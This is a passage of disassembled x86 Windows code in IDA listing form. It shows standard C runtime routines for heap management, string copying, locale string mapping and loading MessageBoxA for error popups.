		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap
		mov	eax, ds:dword_4070F8
		mov	edx, ds:dword_4070FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4070F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404970
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4070F8
		cmp	eax, ds:dword_4070F4
		jbe	short loc_40409D
		sub	eax, 14h


loc_40409D:				; CODE XREF: sub_403D93+305j
		mov	ecx, ds:dword_4070FC
		mov	ds:dword_4070F0, ecx
		jmp	short loc_4040AE
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_403D93+233j
					; sub_403D93+2AAj
		mov	eax, [ebp+arg_0]


loc_4040AE:				; CODE XREF: sub_403D93+316j
		mov	ds:dword_4070F4, eax
		mov	ds:dword_4070EC, esi


loc_4040B9:				; CODE XREF: sub_403D93+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040BE	proc near		; CODE XREF: sub_403CF4+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4070F8
		mov	edx, ds:dword_4070FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4040FE
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_40410E
; ---------------------------------------------------------------------------


loc_4040FE:				; CODE XREF: sub_4040BE+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_40410E:				; CODE XREF: sub_4040BE+3Ej
		mov	eax, ds:dword_4070F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_404135


loc_40411C:				; CODE XREF: sub_4040BE+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404135
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_40411C


loc_404135:				; CODE XREF: sub_4040BE+5Cj
					; sub_4040BE+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4041B3
		mov	ebx, edx


loc_40413C:				; CODE XREF: sub_4040BE+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404158
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404156
		add	ebx, 14h
		jmp	short loc_40413C
; ---------------------------------------------------------------------------


loc_404156:				; CODE XREF: sub_4040BE+91j
		cmp	ebx, eax


loc_404158:				; CODE XREF: sub_4040BE+83j
		jnz	short loc_4041B3


loc_40415A:				; CODE XREF: sub_4040BE+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_404170
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40416D
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_40415A
; ---------------------------------------------------------------------------


loc_40416D:				; CODE XREF: sub_4040BE+A5j
		cmp	ebx, [ebp+var_4]


loc_404170:				; CODE XREF: sub_4040BE+9Fj
		jnz	short loc_404198
		mov	ebx, edx


loc_404174:				; CODE XREF: sub_4040BE+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404188
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_404186
		add	ebx, 14h
		jmp	short loc_404174
; ---------------------------------------------------------------------------


loc_404186:				; CODE XREF: sub_4040BE+C1j
		cmp	ebx, eax


loc_404188:				; CODE XREF: sub_4040BE+BBj
		jnz	short loc_404198
		call	sub_4043C7
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4041AC


loc_404198:				; CODE XREF: sub_4040BE:loc_404170j
					; sub_4040BE:loc_404188j
		push	ebx
		call	sub_404478
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4041B3


loc_4041AC:				; CODE XREF: sub_4040BE+D8j
		xor	eax, eax
		jmp	loc_4043C2
; ---------------------------------------------------------------------------


loc_4041B3:				; CODE XREF: sub_4040BE+7Aj
					; sub_4040BE:loc_404158j ...
		mov	ds:dword_4070F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4041DA
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404211


loc_4041DA:				; CODE XREF: sub_4040BE+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_40420E


loc_4041F7:				; CODE XREF: sub_4040BE+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4041F7


loc_40420E:				; CODE XREF: sub_4040BE+137j
		mov	edx, [ebp+var_4]


loc_404211:				; CODE XREF: sub_4040BE+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_40423A
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_40423A:				; CODE XREF: sub_4040BE+16Dj
					; sub_4040BE+183j
		test	ecx, ecx
		jl	short loc_404243
		shl	ecx, 1
		inc	edi
		jmp	short loc_40423A
; ---------------------------------------------------------------------------


loc_404243:				; CODE XREF: sub_4040BE+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_404260
		push	3Fh
		pop	esi


loc_404260:				; CODE XREF: sub_4040BE+19Dj
		cmp	esi, edi
		jz	loc_404375
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4042D1
		cmp	edi, 20h
		jge	short loc_4042A0
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042A0:				; CODE XREF: sub_4040BE+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042CE:				; CODE XREF: sub_4040BE+1D6j
					; sub_4040BE+203j
		mov	ebx, [ebp+arg_0]


loc_4042D1:				; CODE XREF: sub_4040BE+1B0j
					; sub_4040BE+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_404381
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_404372
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_404343
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_404331
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_404331:				; CODE XREF: sub_4040BE+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_404372
; ---------------------------------------------------------------------------


loc_404343:				; CODE XREF: sub_4040BE+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40435C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40435C:				; CODE XREF: sub_4040BE+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_404372:				; CODE XREF: sub_4040BE+24Ej
					; sub_4040BE+283j
		mov	ecx, [ebp+var_8]


loc_404375:				; CODE XREF: sub_4040BE+1A4j
		test	ecx, ecx
		jz	short loc_404384
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_404384
; ---------------------------------------------------------------------------


loc_404381:				; CODE XREF: sub_4040BE+229j
		mov	ecx, [ebp+var_8]


loc_404384:				; CODE XREF: sub_4040BE+2B9j
					; sub_4040BE+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4043BA
		cmp	ebx, ds:dword_4070F4
		jnz	short loc_4043BA
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4070EC
		jnz	short loc_4043BA
		and	ds:dword_4070F4, 0


loc_4043BA:				; CODE XREF: sub_4040BE+2E0j
					; sub_4040BE+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4043C2:				; CODE XREF: sub_4040BE+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4040BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4043C7	proc near		; CODE XREF: sub_4040BE+CCp
		mov	eax, ds:dword_4070F8
		mov	ecx, ds:dword_4070E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_40440A
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4070FC
		push	edi
		push	ds:dword_407328
		call	ds:dword_405058	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_40445A
		add	ds:dword_4070E8, 10h
		mov	ds:dword_4070FC, eax
		mov	eax, ds:dword_4070F8


loc_40440A:				; CODE XREF: sub_4043C7+11j
		mov	ecx, ds:dword_4070FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_407328
		lea	esi, [ecx+eax*4]
		call	ds:dword_405060	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40445A
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_40505C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40445E
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap


loc_40445A:				; CODE XREF: sub_4043C7+30j
					; sub_4043C7+67j
		xor	eax, eax
		jmp	short loc_404475
; ---------------------------------------------------------------------------


loc_40445E:				; CODE XREF: sub_4043C7+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4070F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_404475:				; CODE XREF: sub_4043C7+95j
		pop	edi
		pop	esi
		retn
sub_4043C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404478	proc near		; CODE XREF: sub_4040BE+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_40448A:				; CODE XREF: sub_404478+19j
		test	eax, eax
		jl	short loc_404493
		shl	eax, 1
		inc	ebx
		jmp	short loc_40448A
; ---------------------------------------------------------------------------


loc_404493:				; CODE XREF: sub_404478+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4044A8:				; CODE XREF: sub_404478+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4044A8
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_40505C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4044DB
		or	eax, 0FFFFFFFFh
		jmp	loc_40456E
; ---------------------------------------------------------------------------


loc_4044DB:				; CODE XREF: sub_404478+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_404521
		lea	eax, [edi+10h]


loc_4044E8:				; CODE XREF: sub_404478+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4044E8


loc_404521:				; CODE XREF: sub_404478+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40455E
		or	[eax+4], edi


loc_40455E:				; CODE XREF: sub_404478+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40456E:				; CODE XREF: sub_404478+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404478	endp


; =============== S U B	R O U T	I N E =======================================



sub_404573	proc near		; CODE XREF: sub_4035C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4070B0, ebx
		push	esi
		push	edi
		jnz	short loc_4045C2
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_405014	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4045F8
		mov	esi, ds:dword_405054
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	ds:dword_4070B0, eax
		jz	short loc_4045F8
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4070B4, eax
		call	esi	; GetProcAddress
		mov	ds:dword_4070B8, eax


loc_4045C2:				; CODE XREF: sub_404573+Bj
		mov	eax, ds:dword_4070B4
		test	eax, eax
		jz	short loc_4045E1
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4045E1
		mov	eax, ds:dword_4070B8
		test	eax, eax
		jz	short loc_4045E1
		push	ebx
		call	eax
		mov	ebx, eax


loc_4045E1:				; CODE XREF: sub_404573+56j
					; sub_404573+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_4070B0


loc_4045F4:				; CODE XREF: sub_404573+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4045F8:				; CODE XREF: sub_404573+1Cj
					; sub_404573+33j
		xor	eax, eax
		jmp	short loc_4045F4
sub_404573	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404600	proc near		; CODE XREF: sub_4035C9+C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_404683
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_404624
		shr	ecx, 2
		jnz	short loc_404691
		jmp	short loc_404645
; ---------------------------------------------------------------------------


loc_404624:				; CODE XREF: sub_404600+1Bj
					; sub_404600+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_404652
		test	al, al
		jz	short loc_40465A
		test	esi, 3
		jnz	short loc_404624
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_404691


loc_404640:				; CODE XREF: sub_404600+8Fj
		and	ebx, 3
		jz	short loc_404652


loc_404645:				; CODE XREF: sub_404600+22j
					; sub_404600+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40467E
		dec	ebx
		jnz	short loc_404645


loc_404652:				; CODE XREF: sub_404600+2Bj
					; sub_404600+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40465A:				; CODE XREF: sub_404600+2Fj
					; DATA XREF: .data:00426D05o
		test	edi, 3
		jz	short loc_404674


loc_404662:				; CODE XREF: sub_404600+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4046F6
		test	edi, 3
		jnz	short loc_404662


loc_404674:				; CODE XREF: sub_404600+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4046E7


loc_40467B:				; CODE XREF: sub_404600+7Fj
					; sub_404600+F4j
		mov	[edi], al
		inc	edi


loc_40467E:				; CODE XREF: sub_404600+4Dj
		dec	ebx
		jnz	short loc_40467B
		pop	ebx
		pop	esi


loc_404683:				; CODE XREF: sub_404600+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404689:				; CODE XREF: sub_404600+A9j
					; sub_404600+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_404640


loc_404691:				; CODE XREF: sub_404600+20j
					; sub_404600+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_404689
		test	dl, dl
		jz	short loc_4046DB
		test	dh, dh
		jz	short loc_4046D1
		test	edx, 0FF0000h
		jz	short loc_4046C7
		test	edx, 0FF000000h
		jnz	short loc_404689
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046C7:				; CODE XREF: sub_404600+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_404600+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_404600+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4046DF:				; CODE XREF: sub_404600+C5j
					; sub_404600+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4046F1


loc_4046E7:				; CODE XREF: sub_404600+79j
		xor	eax, eax


loc_4046E9:				; CODE XREF: sub_404600+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4046E9


loc_4046F1:				; CODE XREF: sub_404600+E5j
		and	ebx, 3
		jnz	short loc_40467B


loc_4046F6:				; CODE XREF: sub_404600+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_404600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046FE	proc near		; CODE XREF: sub_403AE6+BEp
					; sub_403AE6+E6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405470
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_4070DC, edi
		jnz	short loc_404774
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_405424
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_404752
		mov	ds:dword_4070DC, ebx
		jmp	short loc_404774
; ---------------------------------------------------------------------------


loc_404752:				; CODE XREF: sub_4046FE+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_406F38
		push	esi
		push	edi
		call	ds:dword_40509C	; LCMapStringA
		test	eax, eax
		jz	loc_40488C
		mov	ds:dword_4070DC, 2


loc_404774:				; CODE XREF: sub_4046FE+2Ej
					; sub_4046FE+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_404789
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_404922
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_404789:				; CODE XREF: sub_4046FE+79j
		mov	eax, ds:dword_4070DC
		cmp	eax, 2
		jnz	short loc_4047B0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_40509C	; LCMapStringA
		jmp	loc_40488E
; ---------------------------------------------------------------------------


loc_4047B0:				; CODE XREF: sub_4046FE+93j
		cmp	eax, 1
		jnz	loc_40488C
		cmp	[ebp+arg_18], edi
		jnz	short loc_4047C6
		mov	eax, ds:dword_4070D4
		mov	[ebp+arg_18], eax


loc_4047C6:				; CODE XREF: sub_4046FE+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_405078	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_40488C
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_404821
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_404821:				; CODE XREF: sub_4046FE+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_40488C
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_405078	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40488C
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_40488C
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4048A0
		cmp	[ebp+arg_14], edi
		jz	loc_40491B
		cmp	esi, [ebp+arg_14]
		jg	short loc_40488C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jnz	loc_40491B


loc_40488C:				; CODE XREF: sub_4046FE+66j
					; sub_4046FE+B5j ...
		xor	eax, eax


loc_40488E:				; CODE XREF: sub_4046FE+ADj
					; sub_4046FE+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_4046FE+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4048D4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4048D4:				; CODE XREF: sub_4046FE+1C2j
		cmp	ebx, edi
		jz	short loc_40488C
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_40488C
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4048FB
		push	edi
		push	edi
		jmp	short loc_404901
; ---------------------------------------------------------------------------


loc_4048FB:				; CODE XREF: sub_4046FE+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_404901:				; CODE XREF: sub_4046FE+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_4050C8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_40488C


loc_40491B:				; CODE XREF: sub_4046FE+165j
					; sub_4046FE+188j
		mov	eax, esi
		jmp	loc_40488E
sub_4046FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404922	proc near		; CODE XREF: sub_4046FE+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_40493F


loc_404932:				; CODE XREF: sub_404922+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_40493F
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_404932


loc_40493F:				; CODE XREF: sub_404922+Ej
					; sub_404922+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_40494A
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40494A:				; CODE XREF: sub_404922+21j
		mov	eax, edx
		retn
sub_404922	endp


; =============== S U B	R O U T	I N E =======================================



sub_40494D	proc near		; CODE XREF: sub_403CC8+1Fp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4070E4
		test	eax, eax
		jz	short loc_404965
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_404965
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: sub_40494D+7j
					; sub_40494D+12j
